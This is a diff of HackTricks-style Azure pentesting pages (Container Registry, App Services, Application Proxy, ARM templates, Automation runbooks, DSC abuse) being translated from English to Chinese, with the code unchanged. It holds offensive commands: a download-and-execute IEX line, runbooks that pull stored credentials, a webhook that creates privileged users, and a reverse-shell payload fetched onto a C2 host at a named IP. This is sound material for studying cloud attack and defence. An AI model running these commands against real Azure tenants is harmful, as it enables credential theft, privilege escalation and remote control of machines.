@@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services.
|
||||
Azure Container Registry (ACR) 是 Microsoft Azure 提供的一个托管服务,用于 **存储和管理 Docker 容器镜像和其他工件**。它提供了集成开发工具、地理复制、基于角色的访问控制和镜像扫描等安全措施、自动构建、网络钩子和触发器以及网络隔离等功能。它与流行的工具如 Docker CLI 和 Kubernetes 兼容,并与其他 Azure 服务良好集成。
|
||||
|
||||
### Enumerate
|
||||
|
||||
To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
|
||||
### 枚举
|
||||
|
||||
要枚举该服务,您可以使用脚本 [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
|
||||
```bash
|
||||
# List Docker images inside the registry
|
||||
IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
|
||||
@@ -18,19 +17,15 @@ Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "
|
||||
|
||||
Get-AzACR -username <username> -password <password> -registry <corp-name>.azurecr.io
|
||||
```
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
az acr list --output table
|
||||
az acr show --name MyRegistry --resource-group MyResourceGroup
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# List all ACRs in your subscription
|
||||
Get-AzContainerRegistry
|
||||
@@ -38,19 +33,12 @@ Get-AzContainerRegistry
|
||||
# Get a specific ACR
|
||||
Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Login & Pull from the registry
|
||||
|
||||
登录并从注册表中拉取
|
||||
```bash
|
||||
docker login <corp-name>.azurecr.io --username <username> --password <password>
|
||||
docker pull <corp-name>.azurecr.io/<image>:<tag>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,42 +2,41 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Service Basic Information
|
||||
## App Service 基本信息
|
||||
|
||||
Azure App Services enables developers to **build, deploy, and scale web applications, mobile app backends, and APIs seamlessly**. It supports multiple programming languages and integrates with various Azure tools and services for enhanced functionality and management.
|
||||
Azure App Services 使开发人员能够 **无缝构建、部署和扩展 Web 应用程序、移动应用程序后端和 API**。它支持多种编程语言,并与各种 Azure 工具和服务集成,以增强功能和管理。
|
||||
|
||||
Each app runs inside a sandbox but isolation depends upon App Service plans
|
||||
每个应用程序都在沙箱内运行,但隔离取决于 App Service 计划
|
||||
|
||||
- Apps in Free and Shared tiers run on shared VMs
|
||||
- Apps in Standard and Premium tiers run on dedicated VMs
|
||||
- 免费和共享层的应用程序运行在共享虚拟机上
|
||||
- 标准和高级层的应用程序运行在专用虚拟机上
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**.
|
||||
> 请注意,**没有**这些隔离 **防止** 其他常见的 **Web 漏洞**(例如文件上传或注入)。如果使用 **管理身份**,则可能能够 **提升权限**。
|
||||
|
||||
### Azure Function Apps
|
||||
### Azure Function 应用
|
||||
|
||||
Basically **Azure Function apps are a subset of Azure App Service** in the web and if you go to the web console and list all the app services or execute `az webapp list` in az cli you will be able to **see the Function apps also listed here**.
|
||||
基本上 **Azure Function 应用是 Azure App Service 的一个子集**,如果您访问 Web 控制台并列出所有应用服务,或在 az cli 中执行 `az webapp list`,您将能够 **看到 Function 应用也在此列出**。
|
||||
|
||||
Actually some of the **security related features** App services use (`webapp` in the az cli), are **also used by Function apps**.
|
||||
实际上,一些与 **安全相关的功能** App 服务使用(az cli 中的 `webapp`),**也被 Function 应用使用**。
|
||||
|
||||
## Basic Authentication
|
||||
## 基本身份验证
|
||||
|
||||
When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\
|
||||
Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers.
|
||||
在创建 Web 应用(通常也是 Azure 函数)时,可以指示是否希望启用基本身份验证。这基本上 **为应用程序启用 SCM 和 FTP**,因此可以使用这些技术部署应用程序。\
|
||||
此外,为了连接到它们,Azure 提供了一个 **API,允许获取用户名、密码和 URL** 以连接到 SCM 和 FTP 服务器。
|
||||
|
||||
- Authentication: az webapp auth show --name lol --resource-group lol_group
|
||||
- 身份验证:az webapp auth show --name lol --resource-group lol_group
|
||||
|
||||
SSH
|
||||
|
||||
Always On
|
||||
始终开启
|
||||
|
||||
Debugging
|
||||
调试
|
||||
|
||||
### Enumeration
|
||||
### 枚举
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
@@ -101,15 +100,15 @@ az functionapp show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
@@ -125,7 +124,7 @@ az functionapp config access-restriction show --name <app-name> --resource-group
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
@@ -135,22 +134,18 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az get all" }}
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
@@ -170,21 +165,19 @@ list_app_services=$(az appservice list --query "[].{appServiceName: name, group:
|
||||
|
||||
# Iterate over each App Service
|
||||
echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
|
||||
# Get the type of the App Service
|
||||
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
|
||||
# Get the type of the App Service
|
||||
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
|
||||
|
||||
# Check if it is a Function App and print its name
|
||||
if [ "$service_type" == "functionapp" ]; then
|
||||
echo "Function App Name: $appServiceName"
|
||||
fi
|
||||
# Check if it is a Function App and print its name
|
||||
if [ "$service_type" == "functionapp" ]; then
|
||||
echo "Function App Name: $appServiceName"
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Obtain credentials & get access to the webapp code
|
||||
|
||||
#### 获取凭据并访问 webapp 代码
|
||||
```bash
|
||||
# Get connection strings that could contain credentials (with DBs for example)
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
@@ -202,17 +195,12 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
|
||||
## In my case the username was: $nameofthewebapp and the password some random chars
|
||||
## If you change the code and do a push, the app is automatically redeployed
|
||||
```
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,25 +2,24 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
|
||||
|
||||
Azure Active Directory's Application Proxy provides **secure remote access to on-premises web applications**. After a **single sign-on to Azure AD**, users can access both **cloud** and **on-premises applications** through an **external URL** or an internal application portal.
|
||||
Azure Active Directory 的 Application Proxy 提供 **对本地 web 应用程序的安全远程访问**。在 **单点登录到 Azure AD** 后,用户可以通过 **外部 URL** 或内部应用程序门户访问 **云** 和 **本地应用程序**。
|
||||
|
||||
It works like this:
|
||||
其工作原理如下:
|
||||
|
||||
<figure><img src="../../../images/image (186).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. After the user has accessed the application through an endpoint, the user is directed to the **Azure AD sign-in page**.
|
||||
2. After a **successful sign-in**, Azure AD sends a **token** to the user's client device.
|
||||
3. The client sends the token to the **Application Proxy service**, which retrieves the user principal name (UPN) and security principal name (SPN) from the token. **Application Proxy then sends the request to the Application Proxy connector**.
|
||||
4. If you have configured single sign-on, the connector performs any **additional authentication** required on behalf of the user.
|
||||
5. The connector sends the request to the **on-premises application**.
|
||||
6. The **response** is sent through the connector and Application Proxy service **to the user**.
|
||||
|
||||
## Enumeration
|
||||
1. 用户通过端点访问应用程序后,用户会被引导到 **Azure AD 登录页面**。
|
||||
2. 在 **成功登录** 后,Azure AD 将 **令牌** 发送到用户的客户端设备。
|
||||
3. 客户端将令牌发送到 **Application Proxy 服务**,该服务从令牌中检索用户主体名称 (UPN) 和安全主体名称 (SPN)。**Application Proxy 然后将请求发送到 Application Proxy 连接器**。
|
||||
4. 如果您已配置单点登录,连接器将代表用户执行任何 **额外的身份验证**。
|
||||
5. 连接器将请求发送到 **本地应用程序**。
|
||||
6. **响应** 通过连接器和 Application Proxy 服务 **发送给用户**。
|
||||
|
||||
## 枚举
|
||||
```powershell
|
||||
# Enumerate applications with application proxy configured
|
||||
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
|
||||
@@ -32,13 +31,8 @@ Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Name"}
|
||||
# to find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it
|
||||
Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <object-id>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) To implement **infrastructure as code for your Azure solutions**, use Azure Resource Manager templates (ARM templates). The template is a JavaScript Object Notation (**JSON**) file that **defines** the **infrastructure** and configuration for your project. The template uses declarative syntax, which lets you state what you intend to deploy without having to write the sequence of programming commands to create it. In the template, you specify the resources to deploy and the properties for those resources.
|
||||
[来自文档:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) 要为您的 Azure 解决方案实现 **基础设施即代码**,请使用 Azure 资源管理器模板(ARM 模板)。该模板是一个 JavaScript 对象表示法(**JSON**)文件,**定义**了您项目的 **基础设施** 和配置。该模板使用声明性语法,允许您声明要部署的内容,而无需编写创建它的编程命令序列。在模板中,您指定要部署的资源及其属性。
|
||||
|
||||
### History
|
||||
### 历史
|
||||
|
||||
If you can access it, you can have **info about resources** that are not present but might be deployed in the future. Moreover, if a **parameter** containing **sensitive info** was marked as "**String**" **instead** of "**SecureString**", it will be present in **clear-text**.
|
||||
如果您可以访问它,您可以获得 **关于资源的信息**,这些资源虽然不存在,但可能在未来被部署。此外,如果一个包含 **敏感信息** 的 **参数** 被标记为 "**String**" **而不是** "**SecureString**",它将以 **明文** 形式存在。
|
||||
|
||||
## Search Sensitive Info
|
||||
|
||||
Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**.
|
||||
## 搜索敏感信息
|
||||
|
||||
具有 `Microsoft.Resources/deployments/read` 和 `Microsoft.Resources/subscriptions/resourceGroups/read` 权限的用户可以 **读取部署历史**。
|
||||
```powershell
|
||||
Get-AzResourceGroup
|
||||
Get-AzResourceGroupDeployment -ResourceGroupName <name>
|
||||
@@ -23,13 +22,8 @@ Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -Depl
|
||||
cat <DEPLOYMENT NAME>.json # search for hardcoded password
|
||||
cat <PATH TO .json FILE> | Select-String password
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,54 +2,53 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation delivers a cloud-based automation, operating system updates, and configuration service that supports consistent management across your Azure and non-Azure environments. It includes process automation, configuration management, update management, shared capabilities, and heterogeneous features.
|
||||
[来自文档:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation 提供基于云的自动化、操作系统更新和配置服务,支持在 Azure 和非 Azure 环境中进行一致的管理。它包括过程自动化、配置管理、更新管理、共享功能和异构特性。
|
||||
|
||||
These are like "**scheduled tasks**" in Azure that will let you execute things (actions or even scripts) to **manage**, check and configure the **Azure environment**.
|
||||
这些就像 Azure 中的 "**计划任务**",可以让你执行操作(动作或甚至脚本)来 **管理**、检查和配置 **Azure 环境**。
|
||||
|
||||
### Run As Account
|
||||
### 运行作为账户
|
||||
|
||||
When **Run as Account** is used, it creates an Azure AD **application** with self-signed certificate, creates a **service principal** and assigns the **Contributor** role for the account in the **current subscription** (a lot of privileges).\
|
||||
Microsoft recommends using a **Managed Identity** for Automation Account.
|
||||
当使用 **Run as Account** 时,它会创建一个带有自签名证书的 Azure AD **应用程序**,创建一个 **服务主体** 并为该账户在 **当前订阅** 中分配 **Contributor** 角色(拥有很多权限)。\
|
||||
Microsoft 建议为自动化账户使用 **Managed Identity**。
|
||||
|
||||
> [!WARNING]
|
||||
> This will be **removed on September 30, 2023 and changed for Managed Identities.**
|
||||
> 这将在 2023 年 9 月 30 日 **移除并更改为 Managed Identities。**
|
||||
|
||||
## Runbooks & Jobs
|
||||
## Runbooks 和 Jobs
|
||||
|
||||
**Runbooks** allow you to **execute arbitrary PowerShell** code. This could be **abused by an attacker** to steal the permissions of the **attached principal** (if any).\
|
||||
In the **code** of **Runbooks** you could also find **sensitive info** (such as creds).
|
||||
**Runbooks** 允许你 **执行任意 PowerShell** 代码。这可能会被 **攻击者滥用** 来窃取 **附加主体** 的权限(如果有的话)。\
|
||||
在 **Runbooks** 的 **代码** 中,你还可能找到 **敏感信息**(例如凭据)。
|
||||
|
||||
If you can **read** the **jobs**, do it as they **contain** the **output** of the run (potential **sensitive info**).
|
||||
如果你可以 **读取** **jobs**,请这样做,因为它们 **包含** 运行的 **输出**(潜在的 **敏感信息**)。
|
||||
|
||||
Go to `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
前往 `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
### Hybrid Worker
|
||||
### 混合工作者
|
||||
|
||||
A Runbook can be run in a **container inside Azure** or in a **Hybrid Worker** (non-azure machine).\
|
||||
The **Log Analytics Agent** is deployed on the VM to register it as a hybrid worker.\
|
||||
The hybrid worker jobs run as **SYSTEM** on Windows and **nxautomation** account on Linux.\
|
||||
Each Hybrid Worker is registered in a **Hybrid Worker Group**.
|
||||
Runbook 可以在 **Azure 内的容器** 或 **Hybrid Worker**(非 Azure 机器)中运行。\
|
||||
**Log Analytics Agent** 部署在虚拟机上以将其注册为混合工作者。\
|
||||
混合工作者作业在 Windows 上以 **SYSTEM** 身份运行,在 Linux 上以 **nxautomation** 账户运行。\
|
||||
每个混合工作者都注册在 **Hybrid Worker Group** 中。
|
||||
|
||||
Therefore, if you can choose to run a **Runbook** in a **Windows Hybrid Worker**, you will execute **arbitrary commands** inside an external machine as **System** (nice pivot technique).
|
||||
因此,如果你可以选择在 **Windows Hybrid Worker** 中运行 **Runbook**,你将以 **System** 身份在外部机器上执行 **任意命令**(很好的 pivot 技术)。
|
||||
|
||||
## Compromise State Configuration (SC)
|
||||
## 破坏状态配置 (SC)
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** is an Azure configuration management service that allows you to write, manage, and compile PowerShell Desired State Configuration (DSC) [configurations](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) for nodes in any cloud or on-premises datacenter. The service also imports [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources), and assigns configurations to target nodes, all in the cloud. You can access Azure Automation State Configuration in the Azure portal by selecting **State configuration (DSC)** under **Configuration Management**.
|
||||
[来自文档:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** 是一个 Azure 配置管理服务,允许你为任何云或本地数据中心的节点编写、管理和编译 PowerShell 所需状态配置 (DSC) [配置](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations)。该服务还导入 [DSC 资源](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources),并将配置分配给目标节点,所有这些都在云中。你可以通过在 Azure 门户中选择 **State configuration (DSC)** 在 **Configuration Management** 下访问 Azure Automation State Configuration。
|
||||
|
||||
**Sensitive information** could be found in these configurations.
|
||||
**敏感信息** 可能会在这些配置中找到。
|
||||
|
||||
### RCE
|
||||
|
||||
It's possible to abuse SC to run arbitrary scripts in the managed machines.
|
||||
可以滥用 SC 在受管机器上运行任意脚本。
|
||||
|
||||
{{#ref}}
|
||||
az-state-configuration-rce.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumeration
|
||||
|
||||
## 枚举
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
@@ -80,9 +79,7 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
|
||||
### Create a Runbook
|
||||
|
||||
### 创建一个 Runbook
|
||||
```powershell
|
||||
# Get the role of a user on the Automation account
|
||||
# Contributor or higher = Can create and execute Runbooks
|
||||
@@ -97,9 +94,7 @@ Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <
|
||||
# Start the Runbook
|
||||
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
```
|
||||
|
||||
### Exfiltrate Creds & Variables defined in an Automation Account using a Run Book
|
||||
|
||||
### 通过运行簿从自动化帐户中提取凭据和变量
|
||||
```powershell
|
||||
# Change the crdentials & variables names and add as many as you need
|
||||
@'
|
||||
@@ -122,61 +117,54 @@ $start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $Au
|
||||
start-sleep 20
|
||||
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You could do the same thing modifying an existing Run Book, and from the web console.
|
||||
> 您可以通过修改现有的运行书,并从网络控制台执行相同的操作。
|
||||
|
||||
### Steps for Setting Up an Automated Highly Privileged User Creation
|
||||
### 设置自动化高权限用户创建的步骤
|
||||
|
||||
#### 1. Initialize an Automation Account
|
||||
#### 1. 初始化自动化帐户
|
||||
|
||||
- **Action Required:** Create a new Automation Account.
|
||||
- **Specific Setting:** Ensure "Create Azure Run As account" is enabled.
|
||||
- **所需操作:** 创建一个新的自动化帐户。
|
||||
- **特定设置:** 确保启用“创建 Azure Run As 帐户”。
|
||||
|
||||
#### 2. Import and Set Up Runbook
|
||||
#### 2. 导入并设置运行书
|
||||
|
||||
- **Source:** Download the sample runbook from [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
|
||||
- **Actions Required:**
|
||||
- Import the runbook into the Automation Account.
|
||||
- Publish the runbook to make it executable.
|
||||
- Attach a webhook to the runbook, enabling external triggers.
|
||||
- **来源:** 从 [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst) 下载示例运行书。
|
||||
- **所需操作:**
|
||||
- 将运行书导入到自动化帐户中。
|
||||
- 发布运行书以使其可执行。
|
||||
- 将网络钩子附加到运行书,启用外部触发。
|
||||
|
||||
#### 3. Configure AzureAD Module
|
||||
#### 3. 配置 AzureAD 模块
|
||||
|
||||
- **Action Required:** Add the AzureAD module to the Automation Account.
|
||||
- **Additional Step:** Ensure all Azure Automation Modules are updated to their latest versions.
|
||||
- **所需操作:** 将 AzureAD 模块添加到自动化帐户中。
|
||||
- **附加步骤:** 确保所有 Azure 自动化模块已更新到最新版本。
|
||||
|
||||
#### 4. Permission Assignment
|
||||
#### 4. 权限分配
|
||||
|
||||
- **Roles to Assign:**
|
||||
- User Administrator
|
||||
- Subscription Owner
|
||||
- **Target:** Assign these roles to the Automation Account for necessary privileges.
|
||||
- **要分配的角色:**
|
||||
- 用户管理员
|
||||
- 订阅所有者
|
||||
- **目标:** 将这些角色分配给自动化帐户以获得必要的权限。
|
||||
|
||||
#### 5. Awareness of Potential Access Loss
|
||||
#### 5. 注意潜在的访问丧失
|
||||
|
||||
- **Note:** Be aware that configuring such automation might lead to losing control over the subscription.
|
||||
- **注意:** 请注意,配置此类自动化可能会导致失去对订阅的控制。
|
||||
|
||||
#### 6. Trigger User Creation
|
||||
|
||||
- Trigger the webhook to create a new user by sending a POST request.
|
||||
- Use the PowerShell script provided, ensuring to replace the `$uri` with your actual webhook URL and updating the `$AccountInfo` with the desired username and password.
|
||||
#### 6. 触发用户创建
|
||||
|
||||
- 触发网络钩子,通过发送 POST 请求创建新用户。
|
||||
- 使用提供的 PowerShell 脚本,确保将 `$uri` 替换为您的实际网络钩子 URL,并更新 `$AccountInfo` 以包含所需的用户名和密码。
|
||||
```powershell
|
||||
$uri = "<YOUR_WEBHOOK_URL>"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+23
-35
@@ -2,68 +2,56 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**查看完整帖子:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
### Summary of Remote Server (C2) Infrastructure Preparation and Steps
|
||||
### 远程服务器 (C2) 基础设施准备和步骤概述
|
||||
|
||||
#### Overview
|
||||
#### 概述
|
||||
|
||||
The process involves setting up a remote server infrastructure to host a modified Nishang `Invoke-PowerShellTcp.ps1` payload, named `RevPS.ps1`, designed to bypass Windows Defender. The payload is served from a Kali Linux machine with IP `40.84.7.74` using a simple Python HTTP server. The operation is executed through several steps:
|
||||
该过程涉及设置一个远程服务器基础设施,以托管一个修改过的 Nishang `Invoke-PowerShellTcp.ps1` 有效载荷,命名为 `RevPS.ps1`,旨在绕过 Windows Defender。该有效载荷从 IP 为 `40.84.7.74` 的 Kali Linux 机器上通过一个简单的 Python HTTP 服务器提供。操作通过几个步骤执行:
|
||||
|
||||
#### Step 1 — Create Files
|
||||
#### 步骤 1 — 创建文件
|
||||
|
||||
- **Files Required:** Two PowerShell scripts are needed:
|
||||
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
- **Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
|
||||
- **所需文件:** 需要两个 PowerShell 脚本:
|
||||
1. `reverse_shell_config.ps1`:一个获取并执行有效载荷的期望状态配置 (DSC) 文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。
|
||||
2. `push_reverse_shell_config.ps1`:一个将配置发布到虚拟机的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。
|
||||
- **定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载荷标识符。
|
||||
|
||||
#### Step 2 — Zip Configuration File
|
||||
|
||||
- The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
|
||||
#### 步骤 2 — 压缩配置文件
|
||||
|
||||
- `reverse_shell_config.ps1` 被压缩成一个 `.zip` 文件,以便准备传输到 Azure 存储帐户。
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
#### Step 3 — 设置存储上下文并上传
|
||||
|
||||
#### Step 3 — Set Storage Context & Upload
|
||||
|
||||
- The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
|
||||
|
||||
- 压缩的配置文件使用 Azure 的 Set-AzStorageBlobContent cmdlet 上传到预定义的 Azure 存储容器 azure-pentest。
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
#### Step 4 — 准备 Kali Box
|
||||
|
||||
#### Step 4 — Prep Kali Box
|
||||
|
||||
- The Kali server downloads the RevPS.ps1 payload from a GitHub repository.
|
||||
|
||||
- Kali 服务器从 GitHub 仓库下载 RevPS.ps1 有效载荷。
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
- 脚本被编辑以指定目标 Windows 虚拟机和反向 shell 的端口。
|
||||
|
